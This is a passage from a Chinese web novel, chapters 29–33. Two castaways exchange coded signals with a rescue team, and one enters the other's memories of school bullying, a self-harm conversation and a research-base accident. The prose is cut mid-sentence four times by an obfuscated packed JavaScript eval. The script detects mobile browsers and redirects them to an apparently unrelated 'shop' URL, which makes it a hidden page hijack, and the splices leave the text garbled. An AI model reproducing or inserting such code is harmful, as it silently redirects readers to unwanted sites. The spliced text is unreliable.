在你们展开救援行动时，我方也在采取积极的自救措施，但我方受限于材料，无法展开工作。因此希望下次救援箱来时，可以捎上以下物资：钢丝绳、十倍放大镜、螺丝刀，老虎钳，手工刨刀……………… 这串代码很长，艰难地闪完这一整段，祁煜再次中场休息，并表示：“这种重复劳动真不是人干的，我手都快抽筋了。” 傅秋语就拿眼角瞥他，寻思着这深海鱼又搁这儿装上了。她看他手好得很，是这种重复工作太无聊才是。 “那你歇会儿，我来吧。” 这种工作她做习惯了，无所谓。 祁煜把信号灯揣怀里，整个人往旁边躲：“不要。” 29. 029 这段信号有点长，对面过了一段时间才破译完毕。大约过了半小时后，对面才开始回信号。 ——我是救援队队长德雷克，很高兴看到你们在这种困境中仍然保持冷静，没有放弃希望。你的问题，我将一一解答。 关于这种陌生的物质，目前公布的资料很少，专家说这种物质会影响人类神经中枢，并造成神经元异常活跃，情绪异常。但更具体的，各届专家还没有研究出更多成果，不过EVER集团的专家已将它命名为“意志回声”，简称V.E。 在最初的异变发生后，世界各地V.E的扩散速度都减缓了。在大海中，它的扩散速度约为每日5.6米。 情况不容乐观，朋友，如果你们有任何需要，请务必告知我们，我们将全力配合。很惭愧，我们还没有想出更好的救援办法，但请放心，救援队不会放弃任何一个受难者。 我队的技术装备人员就在我的身边，他已经明白你的思路，但他需要一个具体可实施的方案，我想你们都需要时间思考，请于明晚再与我们联系，届时安迪将与你商讨细节。 他们回的消息也很长，不过傅秋语和祁煜一个专心记数字，一个专心破译，速度也很快。 ——明白，我会在明日给出一个方案。我叫加西娅，我身边的先生名叫俞启。抱歉，直到现在才想到自我介绍。 再多嘴问一句，你们的队伍近期是否受到过近期不明生物的袭击？ 祁煜注意到了，傅秋语给自己取了假名，但没有给他取。 ……虽然“俞启”就是假名，但她应该不知道才是。 傅秋语低头忙于准备新的纸，似乎暂时还没有发现这个问题。 ——不明生物？是指流浪体吗？没有遇到过。不过，前几日我们在海中救下了两位先生。他们的船队被流浪体袭击，只有他们二人成功逃生。 傅秋语和祁煜对视一眼。 傅秋语问：“你觉得这是巧合吗？” 祁煜冷笑：“我从不相信巧合。之前就说过了，我怀疑这一切就是一场局。” 傅秋语：“我问一下他们。” 祁煜好奇道：“这是可以直接问的吗？” 傅秋语露出一个不是很正派的笑容。 ——很抱歉，我们这里遇到了一些状况，所以需要确认你们的一些信息。请告知你们的队伍编制，隶属单位，接到俞先生的救援任务的前一天和之后发生的事。 ——所以是你们被袭击了？老天，你们还能活着给我们发信号，真是奇迹。 我完全理解你的恐慌情绪，女士。我们的队伍全称为“拯救者海上救援队”，隶属于临空市海事局，全队编制包括我在内有十九人。 在接到你们的任务时，我们在附近海域举行季度演练。接到任务后，便马上出动了。我们在四个小时后就赶到了现场，但无奈海岛已被V.E物质全面封锁，无法进入。 安迪平时就有做一些小玩具的喜好，你们救援箱上的装置就是他的作品之一，烟花也是。 加西娅女士，请相信我们，我们并不是早有预谋。 ——那两位被你们救下的先生，你们是在什么时候发现他们的？ ——来这里的第二日白天。 也就是小花生袭击他们之前。 傅秋语和祁煜再次交换眼神。 祁煜：“别再问了，我不相信巧合。” 傅秋语:“我也不信。” ——德雷克队长，我相信你们。不过我希望我们的联络内容，不要被除你与安迪先生之外的第三人知道。我们这边情况有些复杂，袭击者不是流浪体，而是一种类人生物。它们似乎对我们了解颇深，以至于我们不得不防备。 如果有人询问我们的联络内容，请务必当心。尤其是那两位被救的先生，如果他们在意起我们的动向，请务必告知我们！ 夜深了，我们都应该休息了。发完这段信号后，我们将返回营地。明日再会。晚安，救援队的英雄们。 ——收到，我会注意的。晚安，勇敢的女士和先生，愿神与你们同在，庇佑你们度过难关。 结束联络。 祁煜这次是真的手抽筋了，一脸怨念地揉着手腕。 傅秋语也觉得累了，谁都没精力再说话，两人看着对面的灯光彻底熄灭，才从地上爬起来。 祁煜：“走吧……”说着，他打了个呵欠，往回走。 走了两步，发现傅秋语没跟上。 她看着海岸线，若有所思。 祁煜：“你又想到什么了？” 傅秋语：“得麻烦你帮我做一件事。” 祁煜：“什么？” 傅秋语：“帮我拿三块被玛丽苏物质污染后的石头回去，我需要研究。但是这有点危险……” 祁煜很干脆地说：“有你在，这算什么危险？你要取哪三块石头？” 傅秋语分别给他指了三个地方，第一个是今天刚被污染的区域的石头，第二个是一天前的，第三个是两天前的。 拿到第三块石头时，他的鞋面上已经爬满了V.E污染，他连蹦带跳地跑回来。 他的双手也已经V.E化，僵硬得没再动弹一下。 傅秋语清除了他鞋面上的污染，但是手上的污染，只能等他们回到山洞，把石头放下来后，才能解除。 她触碰不了石头，一触碰就会把玛丽苏物质吸走，根本没法观察研究。 回到山洞后，傅秋语用树枝把石头从他僵硬的手中捅出来，然后两人面对面坐着，深吸一口气。 傅秋语目露凝重：“要来了。” 祁煜：“我有个疑问……咱们都晕了，小花生来偷袭怎么办？” 傅秋语：“今晚应该不会了。” 祁煜：“为什么？” 傅秋语：“我们忽然联络上救援队，你猜现在慌的是谁？” 祁煜秒懂，“他们现在应该非常想知道我们到底联络了什么，但是我们的纸已经当场烧了，只能从救援队那边入手。如果救援队那群人可信，他们很快会有所行动。” 傅秋语：“行了，不提他们了，我们的异能量空间又要梅开二度了。我直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368145|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉，那里藏着大秘密。” “我没法观察那里的情况，靠你了。你到了那里，不需要做什么，只需要观察，然后醒来后把看到的一切原原本本地告诉我就行。” 祁煜：“明白，你就安心地睡一觉。异能量空间，启动！” 两人手掌交握，吸力同时从对方手上传来，两人眼前白光一闪，晕了过去。 当祁煜再次睁开眼睛时，他站在一处天台。 他还以为自己会回到上次的雾海，结果这梅开二度出来的还不一样。 楼层很高，风很大。 有个女孩子背对着他站在天台边，她扎着马尾，身穿蓝白校服，脚已经踩到天台边的台阶上，手抓着栏杆。 她仰头看向天空，一只手也伸向天空，虚虚地抚摸着什么。 祁煜向前走：“同学，你在这里做什么？” 那个女孩子回头看他，祁煜这才发现这居然是小一号版本的少女傅秋语。 大概十五六岁的样子，那时候她还很瘦，脸尖尖的，小小的，眼神清澈，很稚嫩。 傅秋语说：“别担心，我没有想跳下去。我只是在这里看风景。” 祁煜：“在这里看风景？” 傅秋语：“因为我喜欢天空。站在这里看天空，天好像离我很近，好像一伸手就能触碰它。” 祁煜绷着脸：“那也太危险了，天台边不适合看风景，快下来！” 傅秋语稍微瞪大了眼睛，这个时期的她就像一杯三分甜奶茶，奶滋滋的，有点甜味，但不多。 然后她一脸纯真地说：“就算掉下去了，又怎样呢？世界少了一个没用的人，我的父母少了一个没用的女儿，班里少了一个透明人。我的消失，不会有任何人在意，不会有任何人难过。” 祁煜：“……行，合着你是早有死志。” 傅秋语：“？”她好像有点生气了，皱着眉说：“我没有想死，我只是在陈述一个事实。” 青春期的小孩情绪不稳定，很容易激动，祁煜投降：“好好好，你说得都对。” 他感受了一下，这个空间的能量，依然是带有情绪色彩的。但这次的，是很诡异的，他说不上来的……平静？ 他想了下，又问：“你为什么喜欢看天空？” 傅秋语天真地说：“因为想当一只鸟，飞到天上去。” 好可爱的回答。 祁煜欣慰地想，原来这家伙居然还有这么单纯可爱的时候，这和她现在苦大仇恨的样子简直判若两人。 他刚要说点什么，就看到傅秋语天真的神情从脸上消失。 她再次伸手描摹天空：“但我知道，人是不可能变成鸟的，即使我再怎么想飞，也飞不出牢笼。就好像这天空，我就算站得再高，也始终触摸不到。它太远了……太远了……” 祁煜嘴角抽搐：“你到底经历了什么？你这个年纪的小孩，不好好读书，想什么乱七八糟的东西呢？” 说完他猛然发现，坏了，老古板竟是他自己！ 换个角度想想，其实这家伙小小年纪就挺文艺的？ 30. 030 祁煜迟疑了一下，随后也站到天台边的台阶上，扶着栏杆，向外张望：“我也来看看，这儿有什么好看的。” 抛开这个位置很危险不谈，抛开这个地方高得让他头晕不谈，抛开风居然把栏杆吹得摇晃不谈……这里风景很不错。 前方再无遮挡，真有种自己飞在天上的感觉。 出乎意料的是，大楼的周围并不是城市景象，而是农村。 这里是一片开阔的平原，整片大地就像一幅画在眼前展开。 碧蓝的天穹一尘不染，在当今已经很少见的大片金色的田地被一条条现代化很好的道路分割开，水道网络纵横交错，再往前是一片低矮而密集的楼房，再再往前是一条足以横跨整片空间的长江。 祁煜意识到，这里或许是她从前生活的地方。这次的空间，是以她的记忆为基础展开的。 祁煜深吸了一口空气，感觉空气中都带着麦浪的清香：“这个地方明亮、开阔，和深海完全是两种地方。” 很难相信在这种环境下长大的傅秋语是个阴暗批。 少女傅秋语说：“深海也很广阔啊，只是别人看不见而已。海底两万里，到底有多少珍奇物种，直到现在都还是个谜呢。” 祁煜：“你很好奇？如果有一天你获得了一种能在水下呼吸，无视水压的能力，你想去深海玩吗？” 傅秋语：“那必须去啊！” 祁煜逗她：“可是深海有大海怪。” 傅秋语两眼发光：“拜托那可是大海怪哎，更想看了！” “？”祁煜哈哈大笑，忍不住伸手rua她的脑袋，她人长得小小的一只，只到他肩膀，胆子倒是很大。 胆子大这一点，倒确实很有长大后的风范。 他问：“你就不害怕吗？” 又是站在天台边看风景，又是想看大海怪的。 傅秋语：“这有什么好怕的？而且如果真的有大海怪这种生物，那也一定有美人鱼吧？” 祁煜：“有哦。” 傅秋语没想到他居然会一脸认真地回答她，愣了一下，然后笑道：“你中二病比我还严重呢。” 祁煜刚要说什么，不知道从哪儿传来一阵刺耳的铃声。 她从台阶上跳下来，对他说：“午休结束，我要去上课啦，拜拜~” 说完她一溜烟跑走，速度比兔子还快。 然而就在她离开天台的一瞬间，天黑了。 原本清朗的风顿时变成了妖风，呜呜咽咽的。 祁煜听到了奇怪的声音，往下一看，只见楼下已经完全被黑暗淹没，似乎有什么软体动物在黑暗中游动。 正等他想看清楚，黑暗深处忽然睁开了无数双猩红的眼睛。 祁煜吓了一跳，他默默离开天台，往楼道走。 似乎什么东西敲了一下不锈钢的栏杆，黑暗中回荡起悠长的声音。 祁煜回头一看，只觉得一股凉气从脊背窜到后脑勺。 那坨漆黑的不可名状的东西，竟然顺着墙爬上来了，无数双猩红的眼睛同时看向祁煜，它的身上散发着疯狂的气息，祁煜直觉不能碰它。 那东西呜呜咽咽地说：“别走，别走……” 祁煜扭头就跑，窜到楼道里，甩手就把门关上封死。 一进入楼道，世界瞬间变得非常寂静，听不到一点声音。 他回头看向天台的门，外面居然一点声音都没有，甚至没有撞门的声音。 ……简直就像来到了一个全新的世界一样。 祁煜看着楼里的世界，陷入沉思。 这到底是个怎样一个一层套一层，上下左右都有路和教室的扭曲空间啊? 祁煜就寻思着，这梅开二度的异能量空间，怎么还有点恐怖？都能拍鬼片了都。 这让他怎么走？ 笃笃笃。 有什么东西在敲窗户。 祁煜四处找声音的来源，最后发现自己身边不远的教室里的窗台上，站着一只红色的鸟。 这鸟儿一直在用鸟喙敲窗户。 祁煜和鸟对视了半分钟，从它的眼睛里，祁煜看出“跟我走”这几个字。 祁煜果断地打开窗户，翻进教室里。 教室里是空的，里面都是草，祁煜跟着鸟从另一边翻出去，然后居然就来到了一楼。 傅秋语和一个女孩子坐在花坛边，那个女孩卷起袖子，露出手臂上的刀痕，她哭着对傅秋语说：“我好痛苦，我想死。” 祁煜瞬间看向傅秋语，真怕她说“巧了，我也是”。 但他心中又隐隐有种预感，他觉得傅秋语会做得更好，即使她自己心理就不怎么健康。 果然不出所料，傅秋语的举动又再一次在他的意料之外。 她触摸她的伤痕，十分困惑地问：“你这么做的意义是什么？他们会因为你的痛苦感到痛苦吗？” 女孩愣了下，苦笑着说：“他们一开始很害怕，后来他们只是会来看一眼，现在……” 傅秋语平静、无情、冷漠地说：“你看，他们不会对你的痛苦感同身受，这个世界上，本来就不可能有真正理解你的人。你自残，吃亏的是你自己。你自杀，他们还可能会鼓掌庆幸。这岂不是便宜了他们？谁欺负你，你应该报复他们，而不是伤害自己。” 女孩惊呆了。 祁煜也惊呆了。 这到底是什么硬核劝解？ 她说得有道理，但祁煜觉得不行，完全不行！这不是越劝越糟糕吗？这家伙同理心是负数吧！绝对是负数吧！ 女孩不确定地说：“我……我觉得他们对我也没那么坏？我用刀划伤自己之后，他们会骂我……” 傅秋语皱着脸：“他们不反思自己的错误，骂你倒是一套一套的。你不要再自残了，为他们，不值得。” 女孩声音弱了下去，“我觉得不是这样，他们只是……” 傅秋语用费解的眼神看着她。 可能在她尚且稚嫩的思维中，自残就是遭遇了重大创伤，而源头是各种各样的，如果家人也是伤害她的源头之一，那她自残了之后给他们看的行为，实在是蠢得可怕。 他们都不在意她了？她什么还要自残？她为什么还要替他们开脱？ 等到女孩走之后，傅秋语还陷入深深的疑惑中。 祁煜走过去拍了拍她的头，“她只是需要爱而已。” “爱？”傅秋语咀嚼这个陌生的词。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368146|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然后她皱着脸，一脸嫌弃：“好恶心哦。” 祁煜：“……” 她搓着鸡皮疙瘩，从花坛上跳下来，跑回教室。 但是跑到一半，她又回头问祁煜：“我听说，‘爱’对于一个人来说很重要，是真的吗？” 她是那么认真，那么困惑，差一点让祁煜以为真正的人外其实是她，他是个假人外。 这家伙简直像成精的AI第一次当人，充满了初为人的生涩和笨拙。 祁煜忍住满腹的吐槽欲，深吸一口气，肯定道：“是的，‘爱’对所有人都很重要，包括你。” “……” 傅秋语一脸冷漠：“我不需要爱，我只需要力量，抛瓦！” 祁煜：“……” 然后她又转头跑走了。 天再次黑了。 原本干净明亮的花园，忽然变得荒草遍地，那些漂亮的鲜花和修剪出各式造型的树瞬间消失，阴风阵阵吹过。 疯狂的气息再次蔓延，呜呜咽咽的低语又从黑暗深处传来。 祁煜搓了搓鸡皮疙瘩，跟着傅秋语的路线跑到教室里，但她已经不在这里了。 教室已经荒废了很久，窗户没一块玻璃是完好的，黑板破了个一个大洞，教室里脏兮兮的全是垃圾，很多破旧的桌椅在中间堆成一堆。 在那堆桌椅的顶端，站着那只红鸟。 红色小鸟冷漠地俯视一切，包括他，简直像个高傲的king。 祁煜：…… 他忽然苦笑了一下，靠在门框上，对小鸟说：“说来好笑，我刚刚突然发现了一件很奇怪的事。因为过于奇怪了，以至于让我觉得很不可思议。” “我自从认识秋语之后，一直会忍不住在意她的想法，她的心情，不能忍受半分她的目光不在我身上。” “我想要知道她的过去、她那刻在骨子里的悲观的源头、她眼中的世界是什么颜色、她喜欢什么、她讨厌什么……她的一切我都想知道。而当我发现这一点的时候，我猛然意识到——” 阴霾爬上他的眉宇，他问:“为什么，我从来没有对雨丘有这种想法？” “她喜欢什么，讨厌什么，她上学的事……我好像都知道，但又好像都不知道，一回忆起来，只觉得大脑一片空白……怎么会这样？” “越是了解傅秋语，我越是觉得不了解她、不了解雨丘，甚至连对自己都觉得陌生。” 他问小鸟：“你是不是也觉得很奇怪？” 小鸟沉默地看着他，等他说完，就自顾自地飞走了。 祁煜扶额：“……我到底为什么要对一只鸟说这些。” 傅秋语一走，这个学校就变得无比破败。 那红色的小鸟是这里唯一的艳色，它飞得很快，穿过一道破败的走廊后，一个小孩忽然从他面前跑了过去。 在小孩跑过去的地方，学校又重新变得光鲜明亮。 越来越像恐怖片了…… 小孩跑得很快，祁煜在后面追都追不上，过了个转角，她就不见了。 这个情况，多半是躲在哪个教室里。祁煜一个个找，最后在第三间教室里的讲台下面找到了她。 ——超小号傅秋语。 31. 031 “啊——”祁煜一脸委屈：“可是我跑不动了。追我的人还在外面，如果我贸然出去，一定会被发现的。” 傅秋语的小脸还是埋在膝盖里，“……你也欠钱了吗？” 祁煜：“嗯？怎么这么问？” 傅秋语：“……我的邻居叔叔出去赌博，欠了几百万，追债的人经常追到他家里来。他不敢回去，躲在外面。你也这样吗？” 祁煜嘴角抽搐：“……被人追也不一定是躲债吧，也有可能是在躲狂热粉丝呢？” 傅秋语困惑地抬头，眼睛里是大大的问号：“粉……丝……？锅里的东西，怎么会追你呢？” 祁煜愣了下，噗地一下笑出了声，“对，对，粉丝不会追人，它就应该老老实实地呆在火锅里。” ——“傅秋语，你跑哪里去了！等我找到你，一定好好教训你！” 走廊尽头传来一个男孩恶声恶气的声音，声音阵阵回荡在空旷的学校里。 渐渐平复下来的小傅秋语瞬间惊恐地扑过来，把祁煜拉到讲台下面。 祁煜小声问：“不是不欢迎我进你的小避难所吗？” 傅秋语：“嘘——” 讲台下的空间，对于傅秋语很宽敞，但是对于祁煜就显得窄小了。 小傅秋语为了给他腾地方，缩到了最角落里团起来，像个小蘑菇似的。 那个小男孩每走过一个教室，都会暴躁地踹开门，进去翻找。那声音越来越近，越来越近。 祁煜明显感觉傅秋语越来越恐惧，她抱着头，身体止不住地颤抖。他拍拍她的肩膀，想抱抱她，但小秋语用一种更畏惧的目光看着他，他不得不退回原来的位置。 男孩咒骂道：“傅秋语，你欠我的钱什么时候还？” 傅秋语对“欠钱”这两个字很敏感，她的眼泪在眼眶里打转，但没有落下，她说：“我没有欠他钱。是他非要玩我的墨水，弄脏了衣服，反过来要我赔。” 祁煜：“原来是被讹上了。” 他问：“你没有告诉老师家长吗？他们知道你被欺负了，一定会帮你的。” 小傅秋语神情瞬间灰暗，她说：“他们不会帮我……谁都不会来帮我。他们，只会让我躲。” 祁煜瞬间哑然。 是的，被校园霸凌的对象通常都是这样的。身材瘦小，性格沉默，孤立无援，家长不重视，老师不想管。 他没想到，连很多成年人遇到都会产生巨大痛苦的霸凌事件，居然会发生在这么小的孩子身上。 他想摸摸她的头安慰她，但是又怕自己的触碰进一步加剧她的恐惧情绪。 那超雄小男孩的声音越来越近了，他踢开隔壁教室的门，进去一顿乱翻。 傅秋语的眼泪还是没能忍住，掉下来了。 她快速地擦干眼泪，从讲台底下爬出来。“这里不安全，我先走了，你……” 祁煜也跟着她出来，他三两步打开窗户，对傅秋语招招手：“快，我们从这儿跑。” 她一脸疑惑，似乎没想明白这个大人怎么和自己一起跑了，说好躲什么狂热粉丝的呢？ 但她来不及想清楚了，她跑到窗边，祁煜把她抱出窗外，然后自己跟着翻出来。 小秋语一落地就跑了，祁煜跟在后面追。 “诶，你等等我，别跑那么快！” 他就奇了怪了，小秋语怎么比大秋语能跑这么多？ 小秋语回头看了他一眼，还真就慢下来了。两人从学校里跑出来，跑到学校外的池塘边。 她一到池塘边就往树上爬，像只幼猫一样，缩在枝杈间。 祁煜哭笑不得地说：“你还真是喜欢找地方躲啊。这都已经安全了，还躲着做什么？” 他刚说完，就看到她捂着脸，肩膀小幅度地颤抖。细弱的呜咽，像是不想被任何人听到一样，极力地克制。 树枝断断续续地抖动，落下树叶，祁煜伸手接住落叶。 “……” 他有点难过。 一个孩子，连哭都不敢大声……他已经逐渐明白，傅秋语为什么长大后是那样的性格。 ……他没什么能做的，她也不需要他做什么。 这一切都已经是过去发生的事，他不过是误入她的记忆的旅者。 他捏了捏叶子，感觉柔韧度正好，随后便靠坐在树下，吹响他家乡的曲子。 树上的傅秋语不知何时停止了哭泣，她咬着大拇指指节，脸上残留着泪痕，但情绪已经平复了。 她定定地看着虚空，思绪似乎已经跟着乐曲，飞向很远的地方。 一曲毕，祁煜敲了敲树干，问：“刚刚怎么哭得这么小声啊？” 小秋语说：“大人……不喜欢小孩哭。而且，哭没有用。” 祁煜着池塘里的倒影。在倒影里，他可以看到小秋语在擦眼泪。 他叹气：“哭，是小孩子的特权，一旦过了年龄，就再也没法随心所欲地哭泣了。你很不珍惜哟。” 小秋语沉默了一会儿，说：“不，我不要再哭了……错的是别人，凭什么躲起来哭的人是我？……我不服。” 祁煜：“你要怎么做？你的身边又没有人帮你。” 小秋语从树上跳下来，她的神色仍是有些怯弱，但隐约已经有了成年傅秋语的影子。 她说：“没有人帮，那就自己想办法，我不能一直这样……不是所有人都会被欺负，班里那么多同学，有人欺负人，有人被欺负，有人可以欺负欺负人的人。” “所有人都怕她……她身上一定有什么地方，是我可以学的。” “……这个，送给你。” 她双手捧着一朵白色的小花，送到祁煜身前。 “这是……？” 祁煜没想到在梦境里还会被送花，这丫头居然从小就点了浪漫这项技能？ 小秋语说：“这是我从树上摘的，送给你，谢谢你的曲子，很好听。还谢谢你愿意听我说这么多说话……从来没有人肯听我说话。” 祁煜的心仿佛被一双手揪了一下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368147|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又酸又痛。 他收下花，摸了摸她的头：“花很漂亮，谢谢。那下次，你受了委屈，我还愿意听你说。” 傅秋语摇了摇头：“不要再有下次了。” 她很早熟，这段特殊的经历，已经让她稚嫩的脸上多了不符合年龄的忧愁。 她已经过早地明白，这个世界上的每个人都很孤独，不会有人能真正地能给另一个人撑伞，也不会有人能永远地听另一个人诉苦。 傅秋语很认真对他说：“如果我们还能再见面，我希望下次见面时，我已经成为一个坚强的人。” 说完，她又跑了。 这次是真的走了。她跑进了田野里，在麦浪中消失了踪迹。 天色随着她的而离开而黑沉，那低语声又来了。 但这次祁煜没有走，他仍然靠坐在树下，手指轻捻那朵小花的花茎，小花在他手中旋转。 他已经明白了。 这次空间里的能量，并不是他一开始以为的平静……而是压抑。 平静，是愉悦的，舒适的。但是压抑，只是表面上很平静，实则暗藏了许多痛苦。 压抑的情绪，贯穿了傅秋语的整个童年和少女时期…… 他抬起眼眸，直视在黑暗静静地注视着他的，那无数双猩红的眼睛。 ……而在她看不到的地方，疯狂，已经积聚力量。 祁煜轻声问道：“你，也是傅秋语吧？” 他清晰地看到，那些眼睛同时缩紧了瞳孔。它发出愤怒的咆哮，挥动如污泥一般的触手，勒住他的身体。 “入侵者……去死！去死！！” 他之前的预判没有错，一触碰到黑泥，他的大脑中顿时多出了很多声音。 那是傅秋语崩溃时的尖叫、咆哮、质问、狂笑的声音。 每一个声音，都在冲击他的神智，诱导他走向疯狂。 祁煜没有反抗，来自傅秋语的疯狂，使他更加哀伤，他说：“但你们都不是傅秋语……至少，不是现在的傅秋语。” “那个瞌睡王……肯定和上次一样，又躲在哪里睡觉。” 黑泥发出癫狂的笑声：“你又了解多少现在的我？……哈哈哈哈哈哈！你谁都不了解，不了解秋语，也不了解雨丘！你知道在你们温存时，真正的猎人小姐在想什么吗？啊哈哈哈哈哈哈哈哈哈！！” 祁煜的神色顿时变了：“你怎么会知道她？！” 而且居然知道他们是恋人关系，并且能准确地说出她的职业。 这里是傅秋语的记忆，这里的所有人包括黑泥都是她的一部分，她们所知道的事，都不应该超过她本人的认知才是。 上次他问傅秋语，她一副完全不知道的反应。 ……不对！不对！！ 傅秋语身上一些令他感到奇怪的细节，顿时全部浮现在脑海里。 黑泥：“你想知道吗？……等你死了，我就告诉你！” 黑泥陡然收紧了触手。 疯狂，再次侵入他的神智。 32.032 黑泥整个裹住祁煜，束缚他的肢体，疯狂入侵他的意识，渐渐地，他什么都听不到了。 无数记忆像流星从他眼前快速闪过，眩晕的白光伴随彩色的重影重叠在记忆的碎片上，他好像被卷进漩涡里，意识在疯狂的中心里反复浮沉，大脑极度眩晕以至于他想呕吐。 “卧槽，这里面怎么有个人！” 一道女声穿过黑泥，疯狂的漩涡陡然被冻住，祁煜的意识终于挣扎出记忆之海。 那些疯狂的声音还在他耳边说话，但已经被什么存在压制住了。 接着，祁煜感受到一道冲击打在黑泥茧上。力道很大，就连被裹在里面的他都感觉胸闷。 水流滴滴答答的声音响起。 祁煜感觉身体上的黑泥正快速剥离他的躯体，但同时，他感觉到的冲击力也越来越大。 ——是高压水枪！ 可能是考虑到人体承受冲击的能力有限，声音的主人感觉冲得差不多了，就卷起袖子，把手伸进最后一层薄薄的黑泥里，把祁煜拽了出来。 祁煜艰难地睁开眼睛，发现救他的人居然是成年版傅秋语。 但依然不是他认识的傅秋语，而是更年轻一点的，研究员时期的傅秋语。 她扎着简单的低马尾，头发全部梳到脑后，露出一整张光洁的脸。 这个时期的她气质很好，是很典型的精英研究员气质。 即使把她自己白色研究服扣子扣得严严实实，里面衬衫扣子扣到最上一层，还带着一副银丝眼镜，脸上不施粉黛，连个口红都不涂，时尚度直逼四五十岁的老毕登，也依然无法掩盖那扑面而来的秀丽。 傅秋语拍拍祁煜的脸，“喂，你还好吗？意识还清醒吗？” 祁煜脑子里声音还是很嘈杂，就对她说：“……不太好。” 傅秋语深吸了一口气，温和地对他说：“你等等，我打个电话。” 接着她就到一边去，祁煜这才发现他已经不在池塘边了，而是在一个巨大的实验基地里。 他躺在一个脏污的水池里……不也不一定是水池，有可能是傅秋语刚刚用了高压水枪给他冲黑泥，这才形成了水池。 基地的正中间有一个很大的机械仪器，无数层平台在这个空间里纵横交错。傅秋语站在平台边，一手叉腰，一只脚蹬在平台边的栏杆上，神情沉静，简直是个优雅的女土匪。 对面电话一接通，她劈头盖脸地骂：“和你说了很多次，下班前要做好清理！做好清理！你他妈不清理就算了，还不把阀门关好，有人掉下来了你知不知道！还好今天我值班来例行检查，不然这倒霉蛋明天就凉了！” “……好姐姐？你叫我‘奶奶’都没用！这事我必须上报，做我们这种工作必须严谨，你自己说这是第几次了？你再用这种态度工作，趁早回老家卖红薯去！幸好这里是普通废料区，要是辐射区，踏马的你就等着给人偿命吧！” 傅秋语火冒三丈地挂掉电话。 祁煜从污泥池里爬出来，靠在金属的池壁上锤脑袋。 傅秋语赶紧制止他，“等等，别打了，你这是头不是机器，再锤打也解决不了接触不良的事。”她向祁煜伸手，“我带你去医务室看看。” 祁煜有些迟钝地看着伸到自己跟前的这双手。 白皙，明润，已经不再有被欺负的青紫的指印。 现在的她嗓门大，会骂人，打个电话把栏杆锤得哐哐响，她这学习成果，效果拔群！ 祁煜想，在他眼里，她的蜕变只是一转眼的事，但对于傅秋语本人来说，却是漫长而艰难的十年。 她到底是怎么从那么点大，受了欺负只会躲起来哭的小包子，变成现在这样精明能干的样子？ 祁煜已经逐渐恢复了，脑子里已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369412|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有声音了，但他还是故意装作站不稳的样子，傅秋语不得不一路扶着他去医务室。 傅秋语：“抱歉，这是我们工作人员的失误，我替他道歉。不过……”她一脸狐疑：“我们这里禁止外来人员入内，你是怎么进来的？” 祁煜说：“我是被人邀请来参观的。” 是啊，被傅秋语本人拉进异能量空间，怎么就不是邀请来参观呢？ 毕竟是记忆的碎片，傅秋语没向他核实身份。两人来到医务室，医务室的同事见到她就问：“你头又疼了？” 傅秋语尴尬地说：“哪能天天头疼呢……” 同事一脸不信：“你还真就是。”他放下手里的仪器，走过来一看：“嘿，今天怎么还带个人来？他怎么了？” 傅秋语：“来这儿参观的，一不小心掉进废料池，现在精神有点恍惚，你来看看。” 同事：“行，把他扶到病床上吧。” 她把祁煜扶到病床上后，自己一屁股霸占同事的工位，疲惫地靠在椅背上捏眉心。 同事见状就笑她：“还说不头疼，我看你这起手式，就知道你肯定头疼。” 傅秋语的手顿住了，她露出一个尴尬的笑容：“这都被你看穿了。” 同事：“上次给你的药还剩多少？” 傅秋语：“又不当饭吃，当然是疼了再吃啊。还有半罐吧。” 同事从鼻子里哼了一声：“不当饭吃，也差不多了，你一顿吃一把药，全单位年纪轻轻吃药最多的就是你！” 傅秋语：“……” 同事：“我说真的，你要不找个心理医生看看？咱只是针对职业病的医生，可治不了你的情绪病。” 祁煜顿时看向傅秋语。 傅秋语两手一摊，摆烂道：“穷，没钱，我就喜欢白嫖的。” 同事用手指她鼻子：“你小子。” 33.033 同事给祁煜检查了一遍，没检查出什么问题。 傅秋语松了口气，毕竟要是有人在她值班的时候出事，她的责任也很大。 她就对他们说自己要继续工作，让同事照顾好祁煜，然后就出去了。 祁煜特地问了下她结束巡查的时间。 